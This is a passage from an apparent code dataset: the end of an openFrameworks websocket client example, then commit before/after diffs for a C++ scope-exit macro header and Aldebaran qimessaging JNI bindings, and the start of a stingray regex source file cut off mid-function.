client.connect(\"echo.websocket.org\");\n    \/\/ OR optionally use SSL\n    \/\/ client.connect(\"echo.websocket.org\", true);\n    \n    \/\/ advanced: set keep-alive timeouts for events like\n    \/\/ loss of internet\n    \n    \/\/ 1 - get default options\n    ofxLibwebsockets::ClientOptions options = ofxLibwebsockets::defaultClientOptions();\n    \n    \/\/ 2 - set basic params\n    options.host = \"echo.websocket.org\";\n    \n    \/\/ 3 - set keep alive params\n    \/\/ BIG GOTCHA: on BSD systems, e.g. Mac OS X, these time params are system-wide\n    \/\/ ...so ka_time just says \"check if alive when you want\" instead of \"check if\n    \/\/ alive after X seconds\"\n    \/\/ Note: some have had issues with only setting one of these; may be an \n    \/\/ all-or-nothing type option!\n    options.ka_time     = 1;\n    options.ka_probes   = 1;\n    options.ka_interval = 1;\n    \n    \/\/ 4 - connect\n    client.connect(options);\n    \n    ofSetLogLevel(OF_LOG_ERROR);\n    \n    client.addListener(this);\n    ofSetFrameRate(60);\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::update(){\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::draw(){\n    ofDrawBitmapString(\"Type anywhere to send 'hello' to your server\\nCheck the console for output!\", 10,20);\n    ofDrawBitmapString(client.isConnected() ? \"Client is connected\" : \"Client disconnected :(\", 10,50);\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onConnect( ofxLibwebsockets::Event& args ){\n    cout<<\"on connected\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onOpen( ofxLibwebsockets::Event& args ){\n    cout<<\"on open\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onClose( ofxLibwebsockets::Event& args ){\n    cout<<\"on close\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onIdle( ofxLibwebsockets::Event& args ){\n    cout<<\"on idle\"<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onMessage( ofxLibwebsockets::Event& args ){\n    cout<<\"got message \"<<args.message<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::onBroadcast( ofxLibwebsockets::Event& args ){\n    cout<<\"got broadcast \"<<args.message<<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyPressed(int key){\n    \n    client.send(\"Hello\");\n    cout << \"sending hello\" <<endl;\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::keyReleased(int key){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseMoved(int x, int y ){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseDragged(int x, int y, int button){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mousePressed(int x, int y, int button){\n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::mouseReleased(int x, int y, int button){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::windowResized(int w, int h){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::gotMessage(ofMessage msg){\n    \n}\n\n\/\/--------------------------------------------------------------\nvoid ofApp::dragEvent(ofDragInfo dragInfo){\n    \n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n#ifndef SCOPEEXIT_HPP\n# define SCOPEEXIT_HPP\n\n#include <utility>\n\n\/* This counts the number of args *\/\n#define NARGS_SEQ(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, N, ...) N\n#define NARGS(...) NARGS_SEQ(__VA_ARGS__, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1)\n\n\/* This will let macros expand before concating them *\/\n#define PRIMITIVE_CAT(x, y) x ## y\n#define CAT(x, y) PRIMITIVE_CAT(x, y)\n\n\/* This will pop the last argument off *\/\n#define POP_LAST(...) CAT(POP_LAST_, NARGS(__VA_ARGS__))(__VA_ARGS__)\n#define POP_LAST_1(x1)\n#define POP_LAST_2(x1, x2) x1\n#define POP_LAST_3(x1, x2, x3) x1, x2\n#define POP_LAST_4(x1, x2, x3, x4) x1, x2, x3\n#define POP_LAST_5(x1, x2, x3, x4, x5) x1, x2, x3, x4\n#define POP_LAST_6(x1, x2, x3, x4, x5, x6) x1, x2, x3, x4, x5\n#define POP_LAST_7(x1, x2, x3, x4, x5, x6, x7) x1, x2, x3, x4, x5, x6\n#define POP_LAST_8(x1, x2, x3, x4, x5, x6, x7, x8) x1, x2, x3, x4, x5, x6, x7\n#define POP_LAST_9(x1, x2, x3, x4, x5, x6, x7, x8, x9) x1, x2, x3, x4, x5, x6, x7, x8\n#define POP_LAST_10(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10) x1, x2, x3, x4, x5, x6, x7, x8, x9\n\n\/* This will return the last argument *\/\n#define LAST(...) CAT(LAST_, NARGS(__VA_ARGS__))(__VA_ARGS__)\n#define LAST_1(x1) x1\n#define LAST_2(x1, x2) x2\n#define LAST_3(x1, x2, x3) x3\n#define LAST_4(x1, x2, x3, x4) x4\n#define LAST_5(x1, x2, x3, x4, x5) x5\n#define LAST_6(x1, x2, x3, x4, x5, x6) x6\n#define LAST_7(x1, x2, x3, x4, x5, x6, x7) x7\n#define LAST_8(x1, x2, x3, x4, x5, x6, x7, x8) x8\n#define LAST_9(x1, x2, x3, x4, x5, x6, x7, x8, x9) x9\n#define LAST_10(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10) x10\n\nnamespace detail\n{\n\ntemplate <typename T>\nclass scope_exit\n{\npublic:\n  explicit scope_exit(T&& f) noexcept : f_(::std::forward<T>(f))\n  {\n    static_assert(noexcept(f_()), \"throwing functors are unsupported\");\n  }\n\n  ~scope_exit() noexcept { f_(); }\n\nprivate:\n  T f_;\n};\n\nclass scope_exit_helper { };\n\ntemplate<typename T>\ninline scope_exit<T> make_scope_exit(T&& f)\n{\n  return scope_exit<T>(::std::forward<T>(f));\n}\n\ntemplate<typename T>\ninline scope_exit<T> operator+(scope_exit_helper&&, T&& f)\n{\n  return scope_exit<T>(::std::forward<T>(f));\n}\n\n}\n\n#define SCOPE_EXIT(...) auto const CAT(scope_exit_, __LINE__)          \\\n  (::detail::make_scope_exit([POP_LAST(__VA_ARGS__)]() noexcept\\\n    { LAST(__VA_ARGS__); }))\n#define SCOPE_EXIT_ auto const CAT(scope_exit_, __LINE__) =            \\\n  ::detail::scope_exit_helper()+[&]() noexcept\n#define SCOPE_EXIT__(...) auto const CAT(scope_exit_, __LINE__) =      \\\n  ::detail::scope_exit_helper()+[__VA_ARGS__]() noexcept\n\n#endif \/\/ SCOPEEXIT_HPP\n<commit_msg>some fixes<commit_after>#pragma once\n#ifndef SCOPEEXIT_HPP\n# define SCOPEEXIT_HPP\n\n#include <utility>\n\n\/* This counts the number of args *\/\n#define NARGS_SEQ(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, N, ...) N\n#define NARGS(...) NARGS_SEQ(__VA_ARGS__, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1)\n\n\/* This will let macros expand before concating them *\/\n#define PRIMITIVE_CAT(x, y) x ## y\n#define CAT(x, y) PRIMITIVE_CAT(x, y)\n\n\/* This will pop the last argument off *\/\n#define POP_LAST(...) CAT(POP_LAST_, NARGS(__VA_ARGS__))(__VA_ARGS__)\n#define POP_LAST_1(x1)\n#define POP_LAST_2(x1, x2) x1\n#define POP_LAST_3(x1, x2, x3) x1, x2\n#define POP_LAST_4(x1, x2, x3, x4) x1, x2, x3\n#define POP_LAST_5(x1, x2, x3, x4, x5) x1, x2, x3, x4\n#define POP_LAST_6(x1, x2, x3, x4, x5, x6) x1, x2, x3, x4, x5\n#define POP_LAST_7(x1, x2, x3, x4, x5, x6, x7) x1, x2, x3, x4, x5, x6\n#define POP_LAST_8(x1, x2, x3, x4, x5, x6, x7, x8) x1, x2, x3, x4, x5, x6, x7\n#define POP_LAST_9(x1, x2, x3, x4, x5, x6, x7, x8, x9) x1, x2, x3, x4, x5, x6, x7, x8\n#define POP_LAST_10(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10) x1, x2, x3, x4, x5, x6, x7, x8, x9\n\n\/* This will return the last argument *\/\n#define LAST(...) CAT(LAST_, NARGS(__VA_ARGS__))(__VA_ARGS__)\n#define LAST_1(x1) x1\n#define LAST_2(x1, x2) x2\n#define LAST_3(x1, x2, x3) x3\n#define LAST_4(x1, x2, x3, x4) x4\n#define LAST_5(x1, x2, x3, x4, x5) x5\n#define LAST_6(x1, x2, x3, x4, x5, x6) x6\n#define LAST_7(x1, x2, x3, x4, x5, x6, x7) x7\n#define LAST_8(x1, x2, x3, x4, x5, x6, x7, x8) x8\n#define LAST_9(x1, x2, x3, x4, x5, x6, x7, x8, x9) x9\n#define LAST_10(x1, x2, x3, x4, x5, x6, x7, x8, x9, x10) x10\n\nnamespace detail\n{\n\ntemplate <typename T>\nclass scope_exit\n{\npublic:\n  explicit scope_exit(T&& f) noexcept : f_(::std::forward<T>(f))\n  {\n    static_assert(noexcept(f_()), \"throwing functors are unsupported\");\n  }\n\n  ~scope_exit() noexcept { f_(); }\n\nprivate:\n  T f_;\n};\n\nclass scope_exit_helper { };\n\ntemplate<typename T>\ninline scope_exit<T> make_scope_exit(T&& f) noexcept\n{\n  return scope_exit<T>(::std::forward<T>(f));\n}\n\ntemplate<typename T>\ninline scope_exit<T> operator+(scope_exit_helper&&, T&& f) noexcept\n{\n  return scope_exit<T>(::std::forward<T>(f));\n}\n\n}\n\n#define SCOPE_EXIT(...) auto const CAT(scope_exit_, __LINE__)          \\\n  (::detail::make_scope_exit([POP_LAST(__VA_ARGS__)]() noexcept\\\n    { LAST(__VA_ARGS__); }))\n#define SCOPE_EXIT_ auto const CAT(scope_exit_, __LINE__) =            \\\n  ::detail::scope_exit_helper()+[&]() noexcept\n#define SCOPE_EXIT__(...) auto const CAT(scope_exit_, __LINE__) =      \\\n  ::detail::scope_exit_helper()+[__VA_ARGS__]() noexcept\n\n#endif \/\/ SCOPEEXIT_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n**\n** Author(s):\n**  - Pierre ROULLON <proullon@aldebaran-robotics.com>\n**\n** Copyright (C) 2012, 2013 Aldebaran Robotics\n** See COPYING for the license\n*\/\n\n#include <qi\/anyobject.hpp>\n#include <qi\/jsoncodec.hpp>\n\n#include <jnitools.hpp>\n#include <object.hpp>\n#include <callbridge.hpp>\n#include <jobjectconverter.hpp>\n\nqiLogCategory(\"qimessaging.jni\");\n\nextern MethodInfoHandler gInfoHandler;\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_property(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObj, jstring name)\n{\n  qi::AnyObject&     obj = *(reinterpret_cast<qi::AnyObject*>(pObj));\n  std::string        propName = qi::jni::toString(name);\n\n  qi::Future<qi::AnyValue>* ret = new qi::Future<qi::AnyValue>();\n\n  qi::jni::JNIAttach attach(env);\n\n  try\n  {\n    *ret = obj.property<qi::AnyValue>(propName);\n  } catch (qi::FutureUserException& e)\n  {\n    delete ret;\n    throwNewException(env, e.what());\n    return 0;\n  }\n\n  return (jlong) ret;\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_setProperty(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObj, jstring name, jobject property)\n{\n  qi::AnyObject *obj = reinterpret_cast<qi::AnyObject*>(pObj);\n  std::string propName = qi::jni::toString(name);\n\n  qi::jni::JNIAttach attach(env);\n\n  auto value = qi::AnyValue::from<jobject>(property);\n  try\n  {\n    qi::Future<void> propertyFuture = obj->setProperty(propName, std::move(value));\n    qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(propertyFuture));\n    auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n    return reinterpret_cast<jlong>(futurePtr);\n  }\n  catch (std::runtime_error &e)\n  {\n    throwNewDynamicCallException(env, e.what());\n    return 0;\n  }\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_asyncCall(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObject, jstring jmethod, jobjectArray args)\n{\n  qi::AnyObject&    obj = *(reinterpret_cast<qi::AnyObject*>(pObject));\n  std::string       method;\n  qi::Future<qi::AnyValue>* fut = 0;\n\n  qi::jni::JNIAttach attach(env);\n\n  \/\/ Get method name and parameters C style.\n  method = qi::jni::toString(jmethod);\n  try {\n    fut = call_from_java(env, obj, method, args);\n  } catch (std::exception& e)\n  {\n    throwNewDynamicCallException(env, e.what());\n    return 0;\n  }\n\n  return (jlong) fut;\n}\n\nJNIEXPORT jstring JNICALL Java_com_aldebaran_qi_AnyObject_printMetaObject(JNIEnv* QI_UNUSED(env), jobject QI_UNUSED(jobj), jlong pObject)\n{\n  qi::AnyObject&    obj = *(reinterpret_cast<qi::AnyObject*>(pObject));\n  std::stringstream ss;\n\n  qi::detail::printMetaObject(ss, obj.metaObject());\n  return qi::jni::toJstring(ss.str());\n}\n\nJNIEXPORT void JNICALL Java_com_aldebaran_qi_AnyObject_destroy(JNIEnv* QI_UNUSED(env), jobject QI_UNUSED(jobj), jlong pObject)\n{\n  qi::AnyObject*    obj = reinterpret_cast<qi::AnyObject*>(pObject);\n\n  delete obj;\n}\n\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_disconnect(JNIEnv *env, jobject QI_UNUSED(jobj), jlong pObject, jlong subscriberId)\n{\n  qi::AnyObject&             obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  try {\n    obj.disconnect(subscriberId);\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n  }\n  return 0;\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_connect(JNIEnv *env, jobject jobj, jlong pObject, jstring method, jobject instance, jstring service, jstring eventName)\n{\n  qi::AnyObject&             obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  std::string                signature = qi::jni::toString(method);\n  std::string                event = qi::jni::toString(eventName);\n  qi_method_info*            data;\n  std::vector<std::string>  sigInfo;\n\n  \/\/ Keep a pointer on JavaVM singleton if not already set.\n  JVM(env);\n\n  \/\/ Create a new global reference on object instance.\n  \/\/ jobject structure are local reference and are destroyed when returning to JVM\n  instance = env->NewGlobalRef(instance);\n\n  \/\/ Remove return value\n  sigInfo = qi::signatureSplit(signature);\n  signature = sigInfo[1];\n  signature.append(\"::\");\n  signature.append(sigInfo[2]);\n\n  \/\/ Create a struct holding a jobject instance, jmethodId id and other needed thing for callback\n  \/\/ Pass it to void * data to register_method\n  \/\/ FIXME jobj is not a global ref, it may be invalid when it will be used\n  data = new qi_method_info(instance, signature, jobj);\n  gInfoHandler.push(data);\n\n\n  try {\n    qi::SignalLink link =obj.connect(event,\n                        qi::SignalSubscriber(\n                          qi::AnyFunction::fromDynamicFunction(\n                            boost::bind(&event_callback_to_java, (void*) data, _1))));\n    return link;\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n    return 0;\n  }\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_connectSignal(JNIEnv *env, jobject QI_UNUSED(obj), jlong pObject, jstring jSignalName, jobject listener)\n{\n  qi::AnyObject *anyObject = reinterpret_cast<qi::AnyObject *>(pObject);\n  std::string signalName = qi::jni::toString(jSignalName);\n  auto gListener = qi::jni::makeSharedGlobalRef(env, listener);\n\n  qi::SignalSubscriber subscriber {\n    qi::AnyFunction::fromDynamicFunction(\n      [gListener](const std::vector<qi::AnyReference> &params) -> qi::AnyReference {\n        jobject listener = gListener.get();\n\n        qi::jni::JNIAttach attach;\n        JNIEnv *env = attach.get();\n\n        const char *method = \"onSignalReceived\";\n        const char *methodSig = \"([Ljava\/lang\/Object;)V\";\n        jobjectArray jparams = qi::jni::toJobjectArray(params);\n        qi::jni::Call<void>::invoke(env, listener, method, methodSig, jparams);\n        jthrowable exception = env->ExceptionOccurred();\n        if (exception)\n        {\n          env->ExceptionDescribe();\n          \/\/ an exception occurred in a listener, report and ignore\n          env->ExceptionClear();\n        }\n        return {}; \/\/ a void AnyReference\n      }\n    )\n  };\n\n  qi::Future<qi::SignalLink> signalLinkFuture = anyObject->connect(signalName, subscriber);\n\n  qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(signalLinkFuture));\n  auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n  return reinterpret_cast<jlong>(futurePtr);\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_disconnectSignal(JNIEnv *env, jobject QI_UNUSED(obj), jlong pObject, jlong subscriberId)\n{\n  qi::AnyObject *anyObject = reinterpret_cast<qi::AnyObject *>(pObject);\n  qi::Future<void> disconnectFuture = anyObject->disconnect(subscriberId);\n\n  qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(disconnectFuture));\n  auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n  return reinterpret_cast<jlong>(futurePtr);\n}\n\nJNIEXPORT void JNICALL Java_com_aldebaran_qi_AnyObject_post(JNIEnv *env, jobject QI_UNUSED(jobj), jlong pObject, jstring eventName, jobjectArray jargs)\n{\n  qi::AnyObject obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  std::string   event = qi::jni::toString(eventName);\n  qi::GenericFunctionParameters params;\n  std::string signature;\n  jsize size;\n  jsize i = 0;\n\n  qi::jni::JNIAttach attach(env);\n\n  size = env->GetArrayLength(jargs);\n  i = 0;\n  while (i < size)\n  {\n    jobject current = env->GetObjectArrayElement(jargs, i);\n    qi::AnyReference val = qi::AnyReference(AnyValue_from_JObject(current).first);\n    params.push_back(val);\n    i++;\n  }\n\n  \/\/ Signature construction\n  signature = event + \"::(\";\n  for (unsigned i=0; i< params.size(); ++i)\n    signature += params[i].signature(true).toString();\n  signature += \")\";\n\n  try {\n    obj.metaPost(event, params);\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n  }\n\n  \/\/ Destroy arguments\n  i = 0;\n  for(qi::GenericFunctionParameters::iterator it = params.begin(); it != params.end(); ++it)\n    (*it).destroy();\n  return;\n}\n\nJNIEXPORT jobject JNICALL Java_com_aldebaran_qi_AnyObject_decodeJSON(JNIEnv *QI_UNUSED(env), jclass QI_UNUSED(cls), jstring what)\n{\n  std::string str = qi::jni::toString(what);\n  qi::AnyValue val = qi::decodeJSON(str);\n  return JObject_from_AnyValue(val.asReference());\n}\n\nJNIEXPORT jstring JNICALL Java_com_aldebaran_qi_AnyObject_encodeJSON(JNIEnv *QI_UNUSED(env), jclass QI_UNUSED(cls), jobject what)\n{\n  std::string res = qi::encodeJSON(what);\n  return qi::jni::toJstring(res);\n}\n<commit_msg>Delete signal parameter local reference<commit_after>\/*\n**\n** Author(s):\n**  - Pierre ROULLON <proullon@aldebaran-robotics.com>\n**\n** Copyright (C) 2012, 2013 Aldebaran Robotics\n** See COPYING for the license\n*\/\n\n#include <qi\/anyobject.hpp>\n#include <qi\/jsoncodec.hpp>\n\n#include <jnitools.hpp>\n#include <object.hpp>\n#include <callbridge.hpp>\n#include <jobjectconverter.hpp>\n\nqiLogCategory(\"qimessaging.jni\");\n\nextern MethodInfoHandler gInfoHandler;\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_property(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObj, jstring name)\n{\n  qi::AnyObject&     obj = *(reinterpret_cast<qi::AnyObject*>(pObj));\n  std::string        propName = qi::jni::toString(name);\n\n  qi::Future<qi::AnyValue>* ret = new qi::Future<qi::AnyValue>();\n\n  qi::jni::JNIAttach attach(env);\n\n  try\n  {\n    *ret = obj.property<qi::AnyValue>(propName);\n  } catch (qi::FutureUserException& e)\n  {\n    delete ret;\n    throwNewException(env, e.what());\n    return 0;\n  }\n\n  return (jlong) ret;\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_setProperty(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObj, jstring name, jobject property)\n{\n  qi::AnyObject *obj = reinterpret_cast<qi::AnyObject*>(pObj);\n  std::string propName = qi::jni::toString(name);\n\n  qi::jni::JNIAttach attach(env);\n\n  auto value = qi::AnyValue::from<jobject>(property);\n  try\n  {\n    qi::Future<void> propertyFuture = obj->setProperty(propName, std::move(value));\n    qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(propertyFuture));\n    auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n    return reinterpret_cast<jlong>(futurePtr);\n  }\n  catch (std::runtime_error &e)\n  {\n    throwNewDynamicCallException(env, e.what());\n    return 0;\n  }\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_asyncCall(JNIEnv* env, jobject QI_UNUSED(jobj), jlong pObject, jstring jmethod, jobjectArray args)\n{\n  qi::AnyObject&    obj = *(reinterpret_cast<qi::AnyObject*>(pObject));\n  std::string       method;\n  qi::Future<qi::AnyValue>* fut = 0;\n\n  qi::jni::JNIAttach attach(env);\n\n  \/\/ Get method name and parameters C style.\n  method = qi::jni::toString(jmethod);\n  try {\n    fut = call_from_java(env, obj, method, args);\n  } catch (std::exception& e)\n  {\n    throwNewDynamicCallException(env, e.what());\n    return 0;\n  }\n\n  return (jlong) fut;\n}\n\nJNIEXPORT jstring JNICALL Java_com_aldebaran_qi_AnyObject_printMetaObject(JNIEnv* QI_UNUSED(env), jobject QI_UNUSED(jobj), jlong pObject)\n{\n  qi::AnyObject&    obj = *(reinterpret_cast<qi::AnyObject*>(pObject));\n  std::stringstream ss;\n\n  qi::detail::printMetaObject(ss, obj.metaObject());\n  return qi::jni::toJstring(ss.str());\n}\n\nJNIEXPORT void JNICALL Java_com_aldebaran_qi_AnyObject_destroy(JNIEnv* QI_UNUSED(env), jobject QI_UNUSED(jobj), jlong pObject)\n{\n  qi::AnyObject*    obj = reinterpret_cast<qi::AnyObject*>(pObject);\n\n  delete obj;\n}\n\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_disconnect(JNIEnv *env, jobject QI_UNUSED(jobj), jlong pObject, jlong subscriberId)\n{\n  qi::AnyObject&             obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  try {\n    obj.disconnect(subscriberId);\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n  }\n  return 0;\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_connect(JNIEnv *env, jobject jobj, jlong pObject, jstring method, jobject instance, jstring service, jstring eventName)\n{\n  qi::AnyObject&             obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  std::string                signature = qi::jni::toString(method);\n  std::string                event = qi::jni::toString(eventName);\n  qi_method_info*            data;\n  std::vector<std::string>  sigInfo;\n\n  \/\/ Keep a pointer on JavaVM singleton if not already set.\n  JVM(env);\n\n  \/\/ Create a new global reference on object instance.\n  \/\/ jobject structure are local reference and are destroyed when returning to JVM\n  instance = env->NewGlobalRef(instance);\n\n  \/\/ Remove return value\n  sigInfo = qi::signatureSplit(signature);\n  signature = sigInfo[1];\n  signature.append(\"::\");\n  signature.append(sigInfo[2]);\n\n  \/\/ Create a struct holding a jobject instance, jmethodId id and other needed thing for callback\n  \/\/ Pass it to void * data to register_method\n  \/\/ FIXME jobj is not a global ref, it may be invalid when it will be used\n  data = new qi_method_info(instance, signature, jobj);\n  gInfoHandler.push(data);\n\n\n  try {\n    qi::SignalLink link =obj.connect(event,\n                        qi::SignalSubscriber(\n                          qi::AnyFunction::fromDynamicFunction(\n                            boost::bind(&event_callback_to_java, (void*) data, _1))));\n    return link;\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n    return 0;\n  }\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_connectSignal(JNIEnv *env, jobject QI_UNUSED(obj), jlong pObject, jstring jSignalName, jobject listener)\n{\n  qi::AnyObject *anyObject = reinterpret_cast<qi::AnyObject *>(pObject);\n  std::string signalName = qi::jni::toString(jSignalName);\n  auto gListener = qi::jni::makeSharedGlobalRef(env, listener);\n\n  qi::SignalSubscriber subscriber {\n    qi::AnyFunction::fromDynamicFunction(\n      [gListener](const std::vector<qi::AnyReference> &params) -> qi::AnyReference {\n        jobject listener = gListener.get();\n\n        qi::jni::JNIAttach attach;\n        JNIEnv *env = attach.get();\n\n        const char *method = \"onSignalReceived\";\n        const char *methodSig = \"([Ljava\/lang\/Object;)V\";\n        jobjectArray jparams = qi::jni::toJobjectArray(params);\n        qi::jni::Call<void>::invoke(env, listener, method, methodSig, jparams);\n        env->DeleteLocalRef(jparams);\n        jthrowable exception = env->ExceptionOccurred();\n        if (exception)\n        {\n          env->ExceptionDescribe();\n          \/\/ an exception occurred in a listener, report and ignore\n          env->ExceptionClear();\n        }\n        return {}; \/\/ a void AnyReference\n      }\n    )\n  };\n\n  qi::Future<qi::SignalLink> signalLinkFuture = anyObject->connect(signalName, subscriber);\n\n  qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(signalLinkFuture));\n  auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n  return reinterpret_cast<jlong>(futurePtr);\n}\n\nJNIEXPORT jlong JNICALL Java_com_aldebaran_qi_AnyObject_disconnectSignal(JNIEnv *env, jobject QI_UNUSED(obj), jlong pObject, jlong subscriberId)\n{\n  qi::AnyObject *anyObject = reinterpret_cast<qi::AnyObject *>(pObject);\n  qi::Future<void> disconnectFuture = anyObject->disconnect(subscriberId);\n\n  qi::Future<qi::AnyValue> future = qi::toAnyValueFuture(std::move(disconnectFuture));\n  auto futurePtr = new qi::Future<qi::AnyValue>(std::move(future));\n  return reinterpret_cast<jlong>(futurePtr);\n}\n\nJNIEXPORT void JNICALL Java_com_aldebaran_qi_AnyObject_post(JNIEnv *env, jobject QI_UNUSED(jobj), jlong pObject, jstring eventName, jobjectArray jargs)\n{\n  qi::AnyObject obj = *(reinterpret_cast<qi::AnyObject *>(pObject));\n  std::string   event = qi::jni::toString(eventName);\n  qi::GenericFunctionParameters params;\n  std::string signature;\n  jsize size;\n  jsize i = 0;\n\n  qi::jni::JNIAttach attach(env);\n\n  size = env->GetArrayLength(jargs);\n  i = 0;\n  while (i < size)\n  {\n    jobject current = env->GetObjectArrayElement(jargs, i);\n    qi::AnyReference val = qi::AnyReference(AnyValue_from_JObject(current).first);\n    params.push_back(val);\n    i++;\n  }\n\n  \/\/ Signature construction\n  signature = event + \"::(\";\n  for (unsigned i=0; i< params.size(); ++i)\n    signature += params[i].signature(true).toString();\n  signature += \")\";\n\n  try {\n    obj.metaPost(event, params);\n  } catch (std::exception& e)\n  {\n    throwNewException(env, e.what());\n  }\n\n  \/\/ Destroy arguments\n  i = 0;\n  for(qi::GenericFunctionParameters::iterator it = params.begin(); it != params.end(); ++it)\n    (*it).destroy();\n  return;\n}\n\nJNIEXPORT jobject JNICALL Java_com_aldebaran_qi_AnyObject_decodeJSON(JNIEnv *QI_UNUSED(env), jclass QI_UNUSED(cls), jstring what)\n{\n  std::string str = qi::jni::toString(what);\n  qi::AnyValue val = qi::decodeJSON(str);\n  return JObject_from_AnyValue(val.asReference());\n}\n\nJNIEXPORT jstring JNICALL Java_com_aldebaran_qi_AnyObject_encodeJSON(JNIEnv *QI_UNUSED(env), jclass QI_UNUSED(cls), jobject what)\n{\n  std::string res = qi::encodeJSON(what);\n  return qi::jni::toJstring(res);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stingray\/toolkit\/string\/regex.h>\n\n#ifdef PLATFORM_POSIX\n#\tinclude <regex.h>\n#else\n#\twarning No regex support on nonposix systems!\n#endif\n\n#include <stingray\/toolkit\/string\/StringUtils.h>\n#include <stingray\/toolkit\/exception.h>\n#include <stingray\/toolkit\/variant.h>\n\n\nnamespace stingray\n{\n\n\tstruct RegexMatch\n\t{\n\t\tint\tBegin;\n\t\tint\tEnd;\n\n\t\tRegexMatch() : Begin(0), End(0) { }\n\n\t\tint GetLength() const\n\t\t{\n\t\t\tint len = End - Begin;\n\t\t\tSTINGRAYKIT_CHECK(len > 0, \"Submatch length is negative!\");\n\t\t\treturn len;\n\t\t}\n\n\t\tstd::string ToString() const { return StringBuilder() % \"(\" % Begin % \", \" % End % \")\"; }\n\t};\n\n\ttypedef std::vector<RegexMatch>\t\t\t\t\t\tRegexMatchVec;\n\n\ttypedef variant<TypeList<std::string, int>::type>\tReplacementEntry;\n\ttypedef std::vector<ReplacementEntry>\t\t\t\tReplacementEntryVec;\n\n\tclass ReplacementEntryVisitor : public static_visitor<std::string>\n\t{\n\tprivate:\n\t\tconst char*\t\t\t\t_srcString;\n\t\tconst RegexMatchVec&\t_matches;\n\n\tpublic:\n\t\tReplacementEntryVisitor(const char* srcString, const RegexMatchVec& matches)\n\t\t\t: _srcString(srcString), _matches(matches)\n\t\t{ }\n\n\t\tstd::string operator () (int matchNumber) const\n\t\t{\n\t\t\tint i = matchNumber;\n\t\t\tSTINGRAYKIT_CHECK(i >= 0 && i < (int)_matches.size(), IndexOutOfRangeException(i, _matches.size()));\n\t\t\tstd::string res = std::string(_srcString + _matches[i].Begin, _matches[i].GetLength());\n\t\t\treturn res;\n\t\t}\n\n\t\tstd::string operator () (const std::string& str) const\n\t\t{ return str; }\n\t};\n\n\ttemplate < typename PlatformRegex >\n\tclass BasicRegexImpl : public PlatformRegex\n\t{\n\tpublic:\n\t\tBasicRegexImpl(const std::string& str)\n\t\t\t: PlatformRegex(str)\n\t\t{ }\n\n\t\tbool Search(const std::string& str, smatch& m, regex_constants::match_flag_type flags)\n\t\t{\n\t\t\tm._results.clear();\n\t\t\tm._positions.clear();\n\n\t\t\tSTINGRAYKIT_CHECK(flags == regex_constants::match_default, NotImplementedException());\n\n\t\t\tRegexMatchVec matches;\n\t\t\tif 